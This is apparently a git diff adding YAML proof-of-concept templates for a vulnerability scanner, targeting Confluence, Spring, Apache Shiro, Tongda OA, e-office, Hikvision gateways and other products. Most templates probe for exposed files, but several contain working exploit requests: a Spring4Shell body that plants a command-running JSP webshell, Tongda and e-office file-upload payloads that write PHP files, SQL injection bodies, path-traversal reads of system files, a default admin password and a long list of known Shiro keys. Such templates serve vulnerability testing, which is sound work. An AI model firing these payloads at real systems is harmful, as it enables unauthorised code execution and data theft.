Atlassian Confluence是企业广泛使用的wiki系统。2022年6月2日Atlassian官方发布了一则安全更新,通告了一个严重且已在野利用的代码执行漏洞,攻击者利用这个漏洞即可无需任何条件在Confluence中执行任意命令。
|
||||
app="ATLASSIAN-Confluence"
|
||||
links:
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2022-26134
|
||||
- http://wiki.peiqi.tech/wiki/webapp/AtlassianConfluence/Atlassian%20Confluence%20OGNL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%20CVE-2022-26134.html
|
||||
- https://mp.weixin.qq.com/s?__biz=MzkxNDAyNTY2NA==&mid=2247488978&idx=1&sn=c0a5369f2b374dcef0bbf61b9239b1dd
|
|
@ -0,0 +1,25 @@
|
|||
name: poc-yaml-apache-axis-webservice-detect
|
||||
sets:
|
||||
path:
|
||||
- services
|
||||
- servlet/AxisaxiServlet
|
||||
- servlet/AxisServlet
|
||||
- services/listServices
|
||||
- services/FreeMarkerService
|
||||
- services/AdminService
|
||||
- axis/services
|
||||
- axis2/services
|
||||
- axis/servlet/AxisServlet
|
||||
- axis2/servlet/AxisServlet
|
||||
- axis2/services/listServices
|
||||
- axis/services/FreeMarkerService
|
||||
- axis/services/AdminService
|
||||
rules:
|
||||
- method: GET
|
||||
path: /{{path}}
|
||||
expression: |
|
||||
response.body.bcontains(b"Services") && response.body.bcontains(b'?wsdl"><i>')
|
||||
detail:
|
||||
author: AgeloVito
|
||||
links:
|
||||
- https://paper.seebug.org/1489
|
|
@ -0,0 +1,64 @@
|
|||
name: poc-yaml-backup-file
|
||||
set:
|
||||
host: request.url.domain
|
||||
sets:
|
||||
path:
|
||||
- "sql"
|
||||
- "www"
|
||||
- "wwwroot"
|
||||
- "index"
|
||||
- "backup"
|
||||
- "back"
|
||||
- "data"
|
||||
- "web"
|
||||
- "db"
|
||||
- "database"
|
||||
- "ftp"
|
||||
- "admin"
|
||||
- "upload"
|
||||
- "package"
|
||||
- "sql"
|
||||
- "old"
|
||||
- "test"
|
||||
- "root"
|
||||
- "beifen"
|
||||
- host
|
||||
ext:
|
||||
- "zip"
|
||||
- "7z"
|
||||
- "rar"
|
||||
- "gz"
|
||||
- "tar.gz"
|
||||
- "db"
|
||||
- "bak"
|
||||
|
||||
rules:
|
||||
- method: GET
|
||||
path: /{{path}}.{{ext}}
|
||||
follow_redirects: false
|
||||
continue: true
|
||||
expression: |
|
||||
response.content_type.contains("application/") &&
|
||||
(response.body.startsWith("377ABCAF271C".hexdecode()) ||
|
||||
response.body.startsWith("314159265359".hexdecode()) ||
|
||||
response.body.startsWith("53514c69746520666f726d6174203300".hexdecode()) ||
|
||||
response.body.startsWith("1f8b".hexdecode()) ||
|
||||
response.body.startsWith("526172211A0700".hexdecode()) ||
|
||||
response.body.startsWith("FD377A585A0000".hexdecode()) ||
|
||||
response.body.startsWith("1F9D".hexdecode()) ||
|
||||
response.body.startsWith("1FA0".hexdecode()) ||
|
||||
response.body.startsWith("4C5A4950".hexdecode()) ||
|
||||
response.body.startsWith("504B0304".hexdecode()) )
|
||||
# - "377ABCAF271C" # 7z
|
||||
# - "314159265359" # bz2
|
||||
# - "53514c69746520666f726d6174203300" # SQLite format 3.
|
||||
# - "1f8b" # gz tar.gz
|
||||
# - "526172211A0700" # rar RAR archive version 1.50
|
||||
# - "526172211A070100" # rar RAR archive version 5.0
|
||||
# - "FD377A585A0000" # xz tar.xz
|
||||
# - "1F9D" # z tar.z
|
||||
# - "1FA0" # z tar.z
|
||||
# - "4C5A4950" # lz
|
||||
# - "504B0304" # zip
|
||||
detail:
|
||||
author: shadown1ng(https://github.com/shadown1ng)
|
|
@ -0,0 +1,12 @@
|
|||
name: poc-yaml-django-CVE-2018-14574
|
||||
|
||||
rules:
|
||||
- method: GET
|
||||
path: //www.example.com
|
||||
follow_redirects: false
|
||||
expression: response.status == 301 && response.headers['location']=="//www.example.com/"
|
||||
|
||||
detail:
|
||||
author: ivan
|
||||
links:
|
||||
- https://github.com/vulhub/vulhub/tree/master/django/CVE-2018-14574
|
|
@ -0,0 +1,14 @@
|
|||
name: e-office-v10-sql-inject
|
||||
rules:
|
||||
- method: GET
|
||||
path: /eoffice10/server/ext/system_support/leave_record.php?flow_id=1&run_id=1&table_field=1&table_field_name=user()&max_rows=10
|
||||
follow_redirects: false
|
||||
expression: |
|
||||
response.status == 200 && response.body.bcontains(b'<p>未找到相关数据</p>')
|
||||
detail:
|
||||
author: Print1n(https://github.com/Print1n)
|
||||
description: |
|
||||
泛微 eoffice v10 前台 SQL 注入
|
||||
FOFA:fid="2csJpuWtfTdSAavIfJTuBw=="
|
||||
links:
|
||||
- https://www.hedysx.com/2777.html
|
|
@ -0,0 +1,23 @@
|
|||
name: poc-yaml-e-office-v9-upload-cnvd-2021-49104
|
||||
manual: true
|
||||
transport: http
|
||||
set:
|
||||
r1: randomLowercase(8)
|
||||
rules:
|
||||
- method: POST
|
||||
path: /general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId=
|
||||
headers:
|
||||
Content-Type: multipart/form-data;boundary=e64bdf16c554bbc109cecef6451c26a4
|
||||
body: "--e64bdf16c554bbc109cecef6451c26a4\r\nContent-Disposition: form-data; name=\"Filedata\"; filename=\"test.jsp\"\r\nContent-Type: application/octet-stream\r\n\r\n<?php echo \"{{r1}}\"; unlink(__FILE__); ?>\r\n--e64bdf16c554bbc109cecef6451c26a4--\r\n\r\n"
|
||||
follow_redirects: true
|
||||
expression: |
|
||||
response.status == 200 && response.body.bcontains(b"logo-eoffice")
|
||||
- method: GET
|
||||
path: /images/logo/logo-eoffice.php
|
||||
follow_redirects: true
|
||||
expression: |
|
||||
response.status == 200 && response.body.bcontains(bytes(r1))
|
||||
detail:
|
||||
author: we1x4n
|
||||
links:
|
||||
- https://blog.csdn.net/weixin_44309905/article/details/121588557
|
|
@ -0,0 +1,13 @@
|
|||
name: poc-yaml-ezoffice-downloadhttp.jsp-filedownload
|
||||
rules:
|
||||
- method: GET
|
||||
path: /defaultroot/site/templatemanager/downloadhttp.jsp?fileName=../public/edit/jsp/config.jsp
|
||||
follow_redirects: false
|
||||
expression: |
|
||||
response.status == 200 && response.headers["filename"].contains("../public/edit/jsp/config.jsp")
|
||||
|
||||
detail:
|
||||
author: PeiQi0
|
||||
links:
|
||||
- https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/oa/%E4%B8%87%E6%88%B7OA/%E4%B8%87%E6%88%B7OA%20downloadhttp.jsp%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8B%E8%BD%BD%E6%BC%8F%E6%B4%9E.md
|
||||
tags: ezoffice,file,download
|
|
@ -0,0 +1,19 @@
|
|||
name: poc-yaml-fckeditor-info
|
||||
sets:
|
||||
path:
|
||||
- "/fckeditor/_samples/default.html"
|
||||
- "/fckeditor/editor/filemanager/connectors/uploadtest.html"
|
||||
- "/ckeditor/samples/"
|
||||
- "/editor/ckeditor/samples/"
|
||||
- "/ckeditor/samples/sample_posteddata.php"
|
||||
- "/editor/ckeditor/samples/sample_posteddata.php"
|
||||
- "/fck/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php"
|
||||
- "/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellcheckder.php"
|
||||
rules:
|
||||
- method: GET
|
||||
path: /{{path}}
|
||||
follow_redirects: false
|
||||
expression: |
|
||||
response.body.bcontains(b'<title>FCKeditor') || response.body.bcontains(b'<title>CKEditor Samples</title>') || response.body.bcontains(b'http://ckeditor.com</a>') || response.body.bcontains(b'Custom Uploader URL:') || response.body.bcontains(b'init_spell()') || response.body.bcontains(b"'tip':'")
|
||||
detail:
|
||||
author: shadown1ng(https://github.com/shadown1ng)
|
|
@ -0,0 +1,15 @@
|
|||
name: hikvision-gateway-data-file-read
|
||||
rules:
|
||||
- method: GET
|
||||
path: /data/login.php::$DATA
|
||||
expression: |
|
||||
response.status == 200 && response.body.bcontains(b'DataBaseQuery();') && response.body.bcontains(b'$_POST[\'userName\'];') && response.body.bcontains(b'$_POST[\'password\'];')
|
||||
info:
|
||||
author: zan8in
|
||||
description: |
|
||||
HIKVISION 视频编码设备接入网关 $DATA 任意文件读取
|
||||
HIKVISION 视频编码设备接入网关存在配置错误特性,特殊后缀请求php文件可读取源码
|
||||
title="视频编码设备接入网关"
|
||||
links:
|
||||
- http://wiki.peiqi.tech/wiki/iot/HIKVISION/HIKVISION%20%E8%A7%86%E9%A2%91%E7%BC%96%E7%A0%81%E8%AE%BE%E5%A4%87%E6%8E%A5%E5%85%A5%E7%BD%91%E5%85%B3%20$DATA%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96.html
|
||||
|
|
@ -0,0 +1,13 @@
|
|||
name: hikvision-showfile-file-read
|
||||
rules:
|
||||
- method: GET
|
||||
path: /serverLog/showFile.php?fileName=../web/html/main.php
|
||||
expression: |
|
||||
response.status == 200 && response.body.bcontains(b'$_SERVER[\'HTTP_HOST\'];') && response.body.bcontains(b'$_POST[\'userName\'];')
|
||||
info:
|
||||
author: zan8in
|
||||
description: |
|
||||
海康威视视频接入网关系统在页面/serverLog/showFile.php的参数fileName存在任意文件下载漏洞
|
||||
title="视频编码设备接入网关"
|
||||
links:
|
||||
- http://wiki.peiqi.tech/wiki/iot/HIKVISION/HIKVISION%20%E8%A7%86%E9%A2%91%E7%BC%96%E7%A0%81%E8%AE%BE%E5%A4%87%E6%8E%A5%E5%85%A5%E7%BD%91%E5%85%B3%20showFile.php%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8B%E8%BD%BD%E6%BC%8F%E6%B4%9E.html
|
|
@ -0,0 +1,13 @@
|
|||
name: poc-yaml-sangfor-ad-download.php-filedownload
|
||||
rules:
|
||||
- method: GET
|
||||
path: /report/download.php?pdf=../../../../../etc/hosts
|
||||
follow_redirects: false
|
||||
expression: |
|
||||
response.status == 200 && response.body.bcontains(b'localhost') && response.headers['Content-Disposition'].contains('hosts')
|
||||
|
||||
detail:
|
||||
author: PeiQi0
|
||||
links:
|
||||
- https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/webapp/%E6%B7%B1%E4%BF%A1%E6%9C%8D/%E6%B7%B1%E4%BF%A1%E6%9C%8D%20%E5%BA%94%E7%94%A8%E4%BA%A4%E4%BB%98%E6%8A%A5%E8%A1%A8%E7%B3%BB%E7%BB%9F%20download.php%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md
|
||||
tags: sangfor,file,download
|
|
@ -0,0 +1,18 @@
|
|||
name: poc-yaml-seeyon-oa-a8-m-information-disclosure
|
||||
manual: true
|
||||
transport: http
|
||||
rules:
|
||||
- method: GET
|
||||
path: /seeyon/management/index.jsp
|
||||
expression: response.status == 200
|
||||
- method: POST
|
||||
path: /seeyon/management/index.jsp
|
||||
headers:
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
body: password=WLCCYBD%40SEEYON
|
||||
follow_redirects: true
|
||||
expression: response.status == 200 && response.body.bcontains(bytes("Free Physical Memory Size"))
|
||||
detail:
|
||||
author: Monday
|
||||
links:
|
||||
- http://wiki.peiqi.tech/wiki/oa/%E8%87%B4%E8%BF%9COA/%E8%87%B4%E8%BF%9COA%20A8%20status.jsp%20%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2%E6%BC%8F%E6%B4%9E.html
|
|
@ -0,0 +1,155 @@
|
|||
name: poc-yaml-shiro-key
|
||||
set:
|
||||
randstr: randomUppercase(32)
|
||||
sets:
|
||||
key:
|
||||
- "kPH+bIxk5D2deZiIxcaaaA=="
|
||||
- "2AvVhdsgUs0FSA3SDFAdag=="
|
||||
- "3AvVhmFLUs0KTA3Kprsdag=="
|
||||
- "4AvVhmFLUs0KTA3Kprsdag=="
|
||||
- "5aaC5qKm5oqA5pyvAAAAAA=="
|
||||
- "6ZmI6I2j5Y+R5aSn5ZOlAA=="
|
||||
- "bWljcm9zAAAAAAAAAAAAAA=="
|
||||
- "wGiHplamyXlVB11UXWol8g=="
|
||||
- "Z3VucwAAAAAAAAAAAAAAAA=="
|
||||
- "MTIzNDU2Nzg5MGFiY2RlZg=="
|
||||
- "zSyK5Kp6PZAAjlT+eeNMlg=="
|
||||
- "U3ByaW5nQmxhZGUAAAAAAA=="
|
||||
- "5AvVhmFLUs0KTA3Kprsdag=="
|
||||
- "bXdrXl9eNjY2KjA3Z2otPQ=="
|
||||
- "fCq+/xW488hMTCD+cmJ3aQ=="
|
||||
- "1QWLxg+NYmxraMoxAXu/Iw=="
|
||||
- "ZUdsaGJuSmxibVI2ZHc9PQ=="
|
||||
- "L7RioUULEFhRyxM7a2R/Yg=="
|
||||
- "r0e3c16IdVkouZgk1TKVMg=="
|
||||
- "bWluZS1hc3NldC1rZXk6QQ=="
|
||||
- "a2VlcE9uR29pbmdBbmRGaQ=="
|
||||
- "WcfHGU25gNnTxTlmJMeSpw=="
|
||||
- "ZAvph3dsQs0FSL3SDFAdag=="
|
||||
- "tiVV6g3uZBGfgshesAQbjA=="
|
||||
- "cmVtZW1iZXJNZQAAAAAAAA=="
|
||||
- "ZnJlc2h6Y24xMjM0NTY3OA=="
|
||||
- "RVZBTk5JR0hUTFlfV0FPVQ=="
|
||||
- "WkhBTkdYSUFPSEVJX0NBVA=="
|
||||
- "GsHaWo4m1eNbE0kNSMULhg=="
|
||||
- "l8cc6d2xpkT1yFtLIcLHCg=="
|
||||
- "KU471rVNQ6k7PQL4SqxgJg=="
|
||||
- "0AvVhmFLUs0KTA3Kprsdag=="
|
||||
- "1AvVhdsgUs0FSA3SDFAdag=="
|
||||
- "25BsmdYwjnfcWmnhAciDDg=="
|
||||
- "3JvYhmBLUs0ETA5Kprsdag=="
|
||||
- "6AvVhmFLUs0KTA3Kprsdag=="
|
||||
- "6NfXkC7YVCV5DASIrEm1Rg=="
|
||||
- "7AvVhmFLUs0KTA3Kprsdag=="
|
||||
- "8AvVhmFLUs0KTA3Kprsdag=="
|
||||
- "8BvVhmFLUs0KTA3Kprsdag=="
|
||||
- "9AvVhmFLUs0KTA3Kprsdag=="
|
||||
- "OUHYQzxQ/W9e/UjiAGu6rg=="
|
||||
- "a3dvbmcAAAAAAAAAAAAAAA=="
|
||||
- "aU1pcmFjbGVpTWlyYWNsZQ=="
|
||||
- "bXRvbnMAAAAAAAAAAAAAAA=="
|
||||
- "OY//C4rhfwNxCQAQCrQQ1Q=="
|
||||
- "5J7bIJIV0LQSN3c9LPitBQ=="
|
||||
- "f/SY5TIve5WWzT4aQlABJA=="
|
||||
- "bya2HkYo57u6fWh5theAWw=="
|
||||
- "WuB+y2gcHRnY2Lg9+Aqmqg=="
|
||||
- "3qDVdLawoIr1xFd6ietnwg=="
|
||||
- "YI1+nBV//m7ELrIyDHm6DQ=="
|
||||
- "6Zm+6I2j5Y+R5aS+5ZOlAA=="
|
||||
- "2A2V+RFLUs+eTA3Kpr+dag=="
|
||||
- "6ZmI6I2j3Y+R1aSn5BOlAA=="
|
||||
- "SkZpbmFsQmxhZGUAAAAAAA=="
|
||||
- "2cVtiE83c4lIrELJwKGJUw=="
|
||||
- "fsHspZw/92PrS3XrPW+vxw=="
|
||||
- "XTx6CKLo/SdSgub+OPHSrw=="
|
||||
- "sHdIjUN6tzhl8xZMG3ULCQ=="
|
||||
- "O4pdf+7e+mZe8NyxMTPJmQ=="
|
||||
- "HWrBltGvEZc14h9VpMvZWw=="
|
||||
- "rPNqM6uKFCyaL10AK51UkQ=="
|
||||
- "Y1JxNSPXVwMkyvES/kJGeQ=="
|
||||
- "lT2UvDUmQwewm6mMoiw4Ig=="
|
||||
- "MPdCMZ9urzEA50JDlDYYDg=="
|
||||
- "xVmmoltfpb8tTceuT5R7Bw=="
|
||||
- "c+3hFGPjbgzGdrC+MHgoRQ=="
|
||||
- "ClLk69oNcA3m+s0jIMIkpg=="
|
||||
- "Bf7MfkNR0axGGptozrebag=="
|
||||
- "1tC/xrDYs8ey+sa3emtiYw=="
|
||||
- "ZmFsYWRvLnh5ei5zaGlybw=="
|
||||
- "cGhyYWNrY3RmREUhfiMkZA=="
|
||||
- "IduElDUpDDXE677ZkhhKnQ=="
|
||||
- "yeAAo1E8BOeAYfBlm4NG9Q=="
|
||||
- "cGljYXMAAAAAAAAAAAAAAA=="
|
||||
- "2itfW92XazYRi5ltW0M2yA=="
|
||||
- "XgGkgqGqYrix9lI6vxcrRw=="
|
||||
- "ertVhmFLUs0KTA3Kprsdag=="
|
||||
- "5AvVhmFLUS0ATA4Kprsdag=="
|
||||
- "s0KTA3mFLUprK4AvVhsdag=="
|
||||
- "hBlzKg78ajaZuTE0VLzDDg=="
|
||||
- "9FvVhtFLUs0KnA3Kprsdyg=="
|
||||
- "d2ViUmVtZW1iZXJNZUtleQ=="
|
||||
- "yNeUgSzL/CfiWw1GALg6Ag=="
|
||||
- "NGk/3cQ6F5/UNPRh8LpMIg=="
|
||||
- "4BvVhmFLUs0KTA3Kprsdag=="
|
||||
- "MzVeSkYyWTI2OFVLZjRzZg=="
|
||||
- "empodDEyMwAAAAAAAAAAAA=="
|
||||
- "A7UzJgh1+EWj5oBFi+mSgw=="
|
||||
- "c2hpcm9fYmF0aXMzMgAAAA=="
|
||||
- "i45FVt72K2kLgvFrJtoZRw=="
|
||||
- "U3BAbW5nQmxhZGUAAAAAAA=="
|
||||
- "Jt3C93kMR9D5e8QzwfsiMw=="
|
||||
- "MTIzNDU2NzgxMjM0NTY3OA=="
|
||||
- "vXP33AonIp9bFwGl7aT7rA=="
|
||||
- "V2hhdCBUaGUgSGVsbAAAAA=="
|
||||
- "Q01TX0JGTFlLRVlfMjAxOQ=="
|
||||
- "Is9zJ3pzNh2cgTHB4ua3+Q=="
|
||||
- "NsZXjXVklWPZwOfkvk6kUA=="
|
||||
- "GAevYnznvgNCURavBhCr1w=="
|
||||
- "66v1O8keKNV3TTcGPK1wzg=="
|
||||
- "SDKOLKn2J1j/2BHjeZwAoQ=="
|
||||
- "kPH+bIxk5D2deZiIxcabaA=="
|
||||
- "kPH+bIxk5D2deZiIxcacaA=="
|
||||
- "3AvVhdAgUs0FSA4SDFAdBg=="
|
||||
- "4AvVhdsgUs0F563SDFAdag=="
|
||||
- "FL9HL9Yu5bVUJ0PDU1ySvg=="
|
||||
- "5RC7uBZLkByfFfJm22q/Zw=="
|
||||
- "eXNmAAAAAAAAAAAAAAAAAA=="
|
||||
- "fdCEiK9YvLC668sS43CJ6A=="
|
||||
- "FJoQCiz0z5XWz2N2LyxNww=="
|
||||
- "HeUZ/LvgkO7nsa18ZyVxWQ=="
|
||||
- "HoTP07fJPKIRLOWoVXmv+Q=="
|
||||
- "iycgIIyCatQofd0XXxbzEg=="
|
||||
- "m0/5ZZ9L4jjQXn7MREr/bw=="
|
||||
- "NoIw91X9GSiCrLCF03ZGZw=="
|
||||
- "oPH+bIxk5E2enZiIxcqaaA=="
|
||||
- "QAk0rp8sG0uJC4Ke2baYNA=="
|
||||
- "Rb5RN+LofDWJlzWAwsXzxg=="
|
||||
- "s2SE9y32PvLeYo+VGFpcKA=="
|
||||
- "SrpFBcVD89eTQ2icOD0TMg=="
|
||||
- "U0hGX2d1bnMAAAAAAAAAAA=="
|
||||
- "Us0KvVhTeasAm43KFLAeng=="
|
||||
- "Ymx1ZXdoYWxlAAAAAAAAAA=="
|
||||
- "YWJjZGRjYmFhYmNkZGNiYQ=="
|
||||
- "zIiHplamyXlVB11UXWol8g=="
|
||||
- "ZjQyMTJiNTJhZGZmYjFjMQ=="
|
||||
mode:
|
||||
- "cbc"
|
||||
- "gcm"
|
||||
payload:
|
||||
- shirokey(key,mode)
|
||||
rules:
|
||||
- method: GET
|
||||
path: /
|
||||
follow_redirects: false
|
||||
headers:
|
||||
Cookie: JSESSIONID={{randstr}};rememberMe=login
|
||||
expression: |
|
||||
"Set-Cookie" in response.headers && (response.headers["Set-Cookie"].contains("rememberMe=") || response.headers["Set-Cookie"].contains("=deleteMe"))
|
||||
- method: GET
|
||||
path: /
|
||||
headers:
|
||||
Cookie: JSESSIONID={{randstr}};rememberMe={{payload}}
|
||||
follow_redirects: false
|
||||
expression: |
|
||||
!response.headers["Set-Cookie"].contains("rememberMe=")
|
||||
detail:
|
||||
author: shadown1ng(https://github.com/shadown1ng)
|
|
@ -0,0 +1,27 @@
|
|||
name: poc-yaml-spring-core-rce
|
||||
manual: true
|
||||
transport: http
|
||||
set:
|
||||
r1: randomInt(40000, 44800)
|
||||
rules:
|
||||
- method: POST
|
||||
path: /
|
||||
headers:
|
||||
suffix: "%>//"
|
||||
c1: "Runtime"
|
||||
c2: "<%"
|
||||
DNT: "1"
|
||||
Content-Type: "application/x-www-form-urlencoded"
|
||||
body: "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22data%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22word%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
|
||||
follow_redirects: true
|
||||
expression: |
|
||||
response.status == 200
|
||||
- method: GET
|
||||
path: /tomcatwar.jsp?data=j&word=echo%20{r1}
|
||||
follow_redirects: false
|
||||
expression: |
|
||||
response.status == 200 && response.body.bcontains(bytes(string(r1)))
|
||||
detail:
|
||||
author: marmot
|
||||
links:
|
||||
- https://github.com/Mr-xn/spring-core-rce
|
|
@ -0,0 +1,22 @@
|
|||
name: poc-yaml-springboot-cve-2021-21234
|
||||
groups:
|
||||
spring1:
|
||||
- method: GET
|
||||
path: /manage/log/view?filename=/windows/win.ini&base=../../../../../../../../../../
|
||||
expression: response.status == 200 && response.body.bcontains(b"for 16-bit app support") && response.body.bcontains(b"fonts")
|
||||
spring2:
|
||||
- method: GET
|
||||
path: /log/view?filename=/windows/win.ini&base=../../../../../../../../../../
|
||||
expression: response.status == 200 && response.body.bcontains(b"for 16-bit app support") && response.body.bcontains(b"fonts")
|
||||
spring3:
|
||||
- method: GET
|
||||
path: /manage/log/view?filename=/etc/hosts&base=../../../../../../../../../../
|
||||
expression: response.status == 200 && response.body.bcontains(b"127.0.0.1") && response.body.bcontains(b"localhost")
|
||||
spring4:
|
||||
- method: GET
|
||||
path: /log/view?filename=/etc/hosts&base=../../../../../../../../../../
|
||||
expression: response.status == 200 && response.body.bcontains(b"127.0.0.1") && response.body.bcontains(b"localhost")
|
||||
detail:
|
||||
author: iak3ec(https://github.com/nu0l)
|
||||
links:
|
||||
- https://mp.weixin.qq.com/s/ZwhBEz2ek26Zf3F-csoRgQ
|
|
@ -0,0 +1,32 @@
|
|||
name: poc-yaml-sql-file
|
||||
set:
|
||||
host: request.url.domain
|
||||
sets:
|
||||
path:
|
||||
- "1.sql"
|
||||
- "backup.sql"
|
||||
- "database.sql"
|
||||
- "data.sql"
|
||||
- "db_backup.sql"
|
||||
- "dbdump.sql"
|
||||
- "db.sql"
|
||||
- "dump.sql"
|
||||
- "{{host}}.sql"
|
||||
- "{{host}}_db.sql"
|
||||
- "localhost.sql"
|
||||
- "mysqldump.sql"
|
||||
- "mysql.sql"
|
||||
- "site.sql"
|
||||
- "sql.sql"
|
||||
- "temp.sql"
|
||||
- "translate.sql"
|
||||
- "users.sql"
|
||||
rules:
|
||||
- method: GET
|
||||
path: /{{path}}
|
||||
follow_redirects: false
|
||||
continue: true
|
||||
expression: |
|
||||
"(?m)(?:DROP|CREATE|(?:UN)?LOCK) TABLE|INSERT INTO".bmatches(response.body)
|
||||
detail:
|
||||
author: shadown1ng(https://github.com/shadown1ng)
|
|
@ -1,6 +1,7 @@
|
|||
name: poc-yaml-swagger-ui-unauth
|
||||
sets:
|
||||
path:
|
||||
- swagger/ui/index
|
||||
- swagger-ui.html
|
||||
- api/swagger-ui.html
|
||||
- service/swagger-ui.html
|
||||
|
@ -9,11 +10,20 @@ sets:
|
|||
- actuator/swagger-ui.html
|
||||
- libs/swagger-ui.html
|
||||
- template/swagger-ui.html
|
||||
- api_docs
|
||||
- api/docs/
|
||||
- api/index.html
|
||||
- swagger/v1/swagger.yaml
|
||||
- swagger/v1/swagger.json
|
||||
- swagger.yaml
|
||||
- swagger.json
|
||||
- api-docs/swagger.yaml
|
||||
- api-docs/swagger.json
|
||||
rules:
|
||||
- method: GET
|
||||
path: /{{path}}
|
||||
expression: |
|
||||
response.status == 200 && response.body.bcontains(b"Swagger UI") && response.body.bcontains(b"swagger-ui.min.js")
|
||||
response.status == 200 && (response.body.bcontains(b"Swagger UI") || response.body.bcontains(b"swagger-ui.min.js")|| response.body.bcontains(b'swagger:') || response.body.bcontains(b'swagger:') || response.body.bcontains(b'Swagger 2.0') || response.body.bcontains(b"\"swagger\":") )
|
||||
detail:
|
||||
author: AgeloVito
|
||||
links:
|
||||
|
|
|
@ -6,9 +6,9 @@ sets:
|
|||
- root
|
||||
- manager
|
||||
password:
|
||||
- tomcat
|
||||
- ""
|
||||
- admin
|
||||
- tomcat
|
||||
- 123456
|
||||
- root
|
||||
payload:
|
||||
|
|
|
@ -0,0 +1,21 @@
|
|||
name: tongda-insert-sql-inject
|
||||
rules:
|
||||
- method: POST
|
||||
path: /general/document/index.php/recv/register/insert
|
||||
body: |
|
||||
title)values("'"^exp(if(ascii(substr(MOD(5,2),1,1))<128,1,710)))# =1&_SERVER=
|
||||
expression: response.status == 302 && response.headers["set-cookie"].contains("PHPSESSID=")
|
||||
- method: POST
|
||||
path: /general/document/index.php/recv/register/insert
|
||||
body: |
|
||||
title)values("'"^exp(if(ascii(substr((select/**/SID/**/from/**/user_online/**/limit/**/0,1),8,1))<66,1,710)))# =1&_SERVER=
|
||||
expression: response.status != 502 && response.status != 500
|
||||
detail:
|
||||
author: zan8in
|
||||
description: |
|
||||
通达OA v11.6 insert参数包含SQL注入漏洞,攻击者通过漏洞可获取数据库敏感信息
|
||||
app="TDXK-通达OA"
|
||||
发送请求包判断漏洞 /general/document/index.php/recv/register/insert 返回302则是存在漏洞,返回500则不存在
|
||||
links:
|
||||
- http://wiki.peiqi.tech/wiki/oa/%E9%80%9A%E8%BE%BEOA/%E9%80%9A%E8%BE%BEOA%20v11.6%20insert%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.html
|
||||
- https://blog.csdn.net/weixin_39779975/article/details/111091529
|
|
@ -0,0 +1,41 @@
|
|||
name: poc-yaml-tongda-oa-v11.9-api.ali.php-fileupload
|
||||
set:
|
||||
filename: randomLowercase(8)
|
||||
r1: randomLowercase(8)
|
||||
payload: base64("file_put_contents('../../"+filename+".php','<?php echo(md5("+r1+"));?>');")
|
||||
rboundary: md5(randomLowercase(8))
|
||||
date: TDdate()
|
||||
rules:
|
||||
- method: POST
|
||||
path: /mobile/api/api.ali.php
|
||||
headers:
|
||||
Content-Type: multipart/form-data; boundary={{rboundary}}
|
||||
Accept-Encoding: gzip
|
||||
follow_redirects: false
|
||||
body: "\
|
||||
--{{rboundary}}\r\n\
|
||||
Content-Disposition: form-data; name=\"file\"; filename=\"{{filename}}.json\"\r\n\
|
||||
Content-Type: application/octet-stream\r\n\
|
||||
\r\n\
|
||||
{\"modular\":\"AllVariable\",\"a\":\"{{payload}}\",\"dataAnalysis\":\"{\\\"a\\\":\\\"錦',$BackData[dataAnalysis] => eval(base64_decode($BackData[a])));/*\\\"}\"}\r\n\
|
||||
--{{rboundary}}--\r\n\
|
||||
"
|
||||
expression: |
|
||||
response.status == 200
|
||||
|
||||
- method: GET
|
||||
path: /inc/package/work.php?id=../../../../../myoa/attach/approve_center/{{date}}/%3E%3E%3E%3E%3E%3E%3E%3E%3E%3E%3E.{{filename}}
|
||||
expression: |
|
||||
response.status == 200 && response.body.bcontains(b'OK')
|
||||
|
||||
- method: GET
|
||||
path: /{{filename}}.php
|
||||
expression: |
|
||||
response.status == 200 && response.body.bcontains(bytes(md5(r1)))
|
||||
|
||||
detail:
|
||||
author: PeiQi0
|
||||
influence_version: "<= 通达OA 11.9"
|
||||
links:
|
||||
- https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/oa/%E9%80%9A%E8%BE%BEOA/%E9%80%9A%E8%BE%BEOA%20v11.8%20api.ali.php%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E.md
|
||||
tags: tongda,fileupload
|
|
@ -1,17 +1,13 @@
|
|||
name: poc-yaml-tongda-user-session-disclosure
|
||||
name: tongda-user-session-disclosure
|
||||
rules:
|
||||
- method: GET
|
||||
path: /mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0
|
||||
follow_redirects: false
|
||||
expression: "true"
|
||||
|
||||
- method: POST
|
||||
path: /general/userinfo.php?UID=1
|
||||
follow_redirects: false
|
||||
expression: |
|
||||
response.status == 200 && response.body.bcontains(b"\"dept_name\":\"") && response.body.bcontains(b"\"online_flag\":") && response.headers["Content-Type"].contains("application/json")
|
||||
|
||||
path: /mobile/auth_mobi.php?isAvatar=1&uid=11121212121212&P_VER=0
|
||||
